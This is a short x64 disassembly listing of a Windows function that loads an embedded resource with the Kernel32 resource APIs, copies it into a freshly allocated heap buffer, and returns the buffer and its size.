mov rcx, qword [rbp]
call qword [sym.imp.KERNEL32.DLL_LoadResource]
mov qword [rbp + 0x10], rax
cmp qword [rbp + 0x10], 0
jne 0x14002d679
xor eax, eax
jmp 0x14002d6e4
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.DLL_LockResource]
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x18], 0
jne 0x14002d692
xor eax, eax
jmp 0x14002d6e4
mov rdx, qword [rbp + 8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_SizeofResource]
mov dword [rbp + 0x20], eax
mov eax, dword [rbp + 0x20]
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x14002d6bb
xor eax, eax
jmp 0x14002d6e4
mov eax, dword [rbp + 0x20]
mov ecx, dword [rbp + 0x20]
mov r9d, eax
mov r8, qword [rbp + 0x18]
mov edx, ecx
mov rcx, qword [rbp + 0x28]
call fcn.14002e1a0
mov eax, dword [rbp + 0x20]
mov rcx, qword [rbp + 0x88]
mov qword [rcx], rax
mov rax, qword [rbp + 0x28]
lea rsp, [rbp + 0x70]
pop rbp
ret